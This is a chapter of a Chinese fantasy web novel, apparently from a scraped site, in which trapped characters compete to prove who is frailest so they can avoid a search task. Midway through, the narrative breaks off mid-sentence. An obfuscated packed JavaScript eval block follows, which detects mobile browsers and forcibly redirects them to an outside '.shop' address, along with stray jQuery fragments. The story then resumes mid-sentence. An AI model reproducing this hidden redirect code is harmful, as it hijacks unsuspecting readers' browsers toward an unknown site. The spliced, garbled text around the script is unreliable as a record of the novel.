16. 比强她比不上,比弱她第一

作品:《干了这碗小柴胡[无限]

    众人还在思考黄豆化的原因,给出的答案五花八门。


    什么左脚先进门踩到黄豆,或者没有给黄豆三拜九叩……


    胡文思皱着眉,满脸的不耐烦,“行了,赶紧通关,少整这些分析拖延时间,变黄豆的不是你们就可以肆无忌惮浪费我的时间?!”


    胡文思的下属已然拔出半边剑身,虎视眈眈地看着其余人,等着胡文思一声令下,将这群不分轻重的人的脑袋砍下来。


    说罢她倏地扭头对上柴胡,柴胡顿时悚然,“我可什么都没说!”


    她安静地很,自动闭麦看着各位神仙各显神通。


    胡文思浮起几分嘲味,“你跟裴慕栀那黑心肠的走得近,你说说原因。”


    柴胡脑子转半天都没转过来,且不说她跟裴慕栀没啥关系,就算有关系,那跟分析原因又搭上哪门子的关系,简直不可理喻。


    胡文思见柴胡眼光闪烁,一副心虚状,“你要是敢骗我,后果自负。”


    柴胡:“……”你们世家就是这么蛮狠不讲理的吗,她还什么都没说。


    李石看不过眼,“你为难一个小姑娘做甚?”


    胡文思冷冷刮了他一眼,“能让裴慕栀放在心上的,能是什么小姑娘,也就你们这些喜欢看人皮子的男人会心软,却不知人皮子下面是什么千年老妖怪。”


    千年老妖怪·柴胡:“……”


    她好像也没说错,她们彼此之间相隔确实千年历史。尽管柴胡不晓得大齐这种架空皇朝,能不能算进她学过的历史里面。


    “我觉得……”,柴胡艰涩开口,打断李石与胡文思彼此渐起的杀意,“不如我们先讨论一下,到底谁是第四关的抓人者?”


    李石没有意见,转身就跟黄铭对时间线,看看是谁先找到的人。


    柴胡默默移开视线时,与胡文思对上了眼,下意识地露出讪笑,又获得对方一个冷脸。


    柴胡无奈,“胡姑娘,请问我到底哪里得罪你了?”


    胡文思瞥了她一眼,不语。


    柴胡更莫名其妙,“胡姑娘,你讨厌我是没有理由的吗?”


    如果真的是这样,那她见到胡文思是立刻躲得远远的,因为对方是个神经病。


    柴胡以前遇到过这种人,没理由的讨厌她,一开始她只是无视,后来演变成在背后造谣传谣甚至做出更过分的事。


    胡文思双手环胸,高傲颔首,像是施舍似的回答:“你与裴慕栀相交,足矣成为我讨厌你的理由。”


    朝堂之争形势是这般严峻吗?还是说……


    “难道胡姑娘你对裴慕栀有爱慕之情?”柴胡狐疑问道。


    接着她就看到胡文思调色盘般的脸,是五彩斑斓的黑,活脱脱像吃了几天几夜的屎。


    “你要是再敢把我与裴慕栀那贼子牵扯到一块,你的舌头就别想要了!”


    虽然面临着威胁,但柴胡却心头一松。


    不是雌竞就好,她多怕卷进什么爱恨情仇的雌竞剧情。有一个无限流副本已经够呛的了。


    胡文思做了许久的心理建设,才将柴胡的话塞进记忆箱子里,上锁丢钥匙,一辈子都别想重新打开这段记忆。


    “那小子心黑,跟他混在一起的,没几个好东西。”胡文思看柴胡的眼神很明确,她也不是什么好东西。


    柴胡不知道该作何反应,她是被迁怒的,只能敷衍地嗯嗯啊啊过去,然后看李石那边的进展,揭过这个话题。


    李石对完时间线,确实对出当黄沙变成“肆”字后,黄铭才找出剩下的人,那么成为第四轮抓人者的就是柴胡,胡文思及其两名下属。


    现在她们要面临的问题是,第四轮的抓人者,是分别抓到三个人才开启最后一轮。


    不算柴胡四人,余下六人只能填两个抓人者的名额,剩下的两个抓人者必须去寻找那些村子隐藏的人。


    “我们来的路上碰上两个村民,证明这个村子并非无人,只是藏得极深,需要我们齐心协力一起去找。”李石认真说道。


    “但是我们先得选出哪两个人是不用去抓人的吧?其实我觉得身体比较弱的一方,留在原地比较好,而且我也觉得负责抓人的,或许能够交换一下比较好……”


    此时,柳季语忽然开口,本就怯生生的语气比之前更柔软。


    胡文思右眉一挑,看穿柳季语葫芦卖什么药,毫不客气直言:“我看你是觉得自己柔弱不堪,想要那两个固定不用动,不用去找村子人的名额吧。”


    瞬间被人揭穿,柳季语白皙的脸蛋更白了,咬咬唇,委屈道:“我是基于大局着想,要是执行任务时有人病倒了,给大家拖后腿就不好了。”


    其余人没有接话,柳季语仿佛得到了勇气,“你们也不想要一个会妨碍你们的人吧?”


    说着柳季语看向了李石,她知道这伙人里除了胡文思,就李石说话最好使了。


    李石想了想,随后赞成柳季语的话,“她说得对,倘若有人身体不适,确实会给接下来的搜索造成影响。”


    因为他也不知道要找多久。


    黄铭无所谓,他一向听他大哥的,“既然如此,我们就先选出身体最不好,快要死的那个人出来吧。”


    柳季语心中一喜,脸也有几分愉悦,“照这样看,李大哥和黄大哥是不用参与了,我们就从剩下的人里选吧。”


    柳季语指了好几人,除却李石黄铭,连胡文思都被她排除在外,兴高采烈地准备选出不用动坐享其成……是身体柔弱的人。


    本以为胡文思会有所不满,结果是黄铭第一个开口,“为什么我和大哥不用选?我们也很柔弱啊?”


    柳季语神情一僵,看了看两个肌肉/饱满,手臂比她粗好几倍的昂藏七尺大男儿。是怎么都看不出柔弱两个字。


    李石淡淡解释道:“我与黄铭从小身患哮病,为了强身健体才习得武。虽大有好转,但也会在不知情的情况下发病。”


    黄铭随即点点头,很想坐实了他们两个柔弱的事实。


    柳季语唇边翕动,“那也算能控制范围。”


    然后她看向了一直不吭声,没有参与她们之间话题的两名戴帷帽的女子。


    两名女子互相对望,其中一名女子说道:“我的大腿有旧疾,走路缓慢,怕是会拖慢时辰。而小双,她有一边的眼睛和耳朵是看不到听不到的。”


    柳季语脸色更难看了,她抬头望向胡文思身后的三名侍从。


    其中有一名,之前就跟着她们来到小茅草屋与其主人汇合,一路上她也瞧出了这位侍从的左手似乎有什么问题,不断地揉搓。


    正所谓有什么样的主人就有什么样的下人。胡文思那般刚硬的女子,怎么会有窝囊的下属,三名侍从根本不参与比弱的对决。


    因此柳季语无需担心左手有问题的侍从。


    剩下只有柴胡了,她是名正言顺的抓人者,同时亦是最有可能会与柳季语交换位置,会给柳季语一个不用动不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142169|195766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用接触妖怪诸如此类怪事的机会。


    在柳季语希冀的眼神下,柴胡叹了一声,手下意识地捂住微微跳动的胸口,“用你们的话讲,我应该是先天禀赋不足,胸痹。”


    柴胡不好描述这个病情名字,只能将症状讲了出来,就如同当年她在医院,医生跟她描述的,一一重复那些铭刻在她骨子里的词汇。


    “我会心悸,疲乏乏力,呼吸困难……”


    每说一个症状,柳季语脸色更白了一分,直到柴胡说完,她的脸如同雪一般惨白,没有一丝血色。李石等人也是皱起眉心,不敢相信眼前站着的柴胡,竟是那么虚弱。


    柴胡耸耸肩,谁让她是先天性心脏病。


    尽管穿越之前做了好几次心脏外科手术,也依然改变不了她孱弱的体质,甚至可以说那几场手术都是失败案例,对她毫无影响。


    只有医院获得了名与利,以及收割了一群不知内情的人的同情与资助。


    相比从前,她算是好多了,能够勉强过上所谓正常人的生活,但穿越到大齐后,她的身体更加破破烂烂,状况急转直下。


    她在这里,完全可以大声喊一句:在座各位,哪有比我更柔弱的!


    “怪不得我找到你时,你喝着一碗黑漆漆像药一样的东西。”李石感慨道,原来她已经病到要随时随地喝药,连在梦里都得喝药。


    柴胡:“……”那不是,那是她纯饿的。


    但她会解释吗,当然不会。


    柳季语的算盘算是打烂了,虽然她有点不甘心,想要辩解几句,因为病情这种东西完全可以捏造,这里又没有大夫,谁知道柴胡说真说假。


    刚冒出头,那边的胡文思就狠瞪了她一眼,直把她吓得浑身哆嗦。


    柴胡见了,心想难道她猜错了,真有比她更弱的?


    胡文思眼神宛如要活剐了她,柳季语扯开僵硬的嘴角,“既然如此,那这位姑娘便留在原地吧。”


    她都这么说,柴胡就不客气了。


    其实柴胡早就想歇息了,她身体早就透支,脑袋也有些发昏。


    但看过的恐怖电影经验告诉她,谁落单谁死定。


    她执着地想跟随他人,继续完成抓人任务,让李石神情严肃,不过他明白柴胡担忧什么,胡文思更是话不多说,直接命令不需要抓人的侍从留在原地守护柴胡。


    接着她甩袖离去,去找所谓的村子的人。剩下两名侍从伴随左右。


    李石选择了另一边,随之跟上的是两名帷帽女子,而柳季语左看右看,咬着泛白的下唇,最后做出了决定,跟上李石那伙人。


    柴胡直接进小茅草屋,随意扫扫木条凳子上的灰屑,心安理得地享受起难得的休闲。


    真可谓前人(柳季语)种树,后人(她)享福。


    白得来的就是香。


    柴胡还招呼侍从一起坐下,他有些意动,约莫又怕被胡文思发现,因此拒绝了柴胡的美意。


    柴胡放下了一直端着的热水,现下热水都变冷了,水里若隐若现的杂质逐渐凝固。


    她没理会,而是侧头望向桌面另一边放置的已经冰冷的饭菜。


    没有吃过的糙米,一碟认不出是什么的野菜,一碟零零散散两三块卤肉,以及糙米碗边上的一小把黄豆。


    看上去是一个人的饭量,只是饭菜在,人不见了。


    垂眸看着手心静静躺着的黄豆,柴胡另一只手摸上冒出黄豆的脖颈,心里有了些猜想。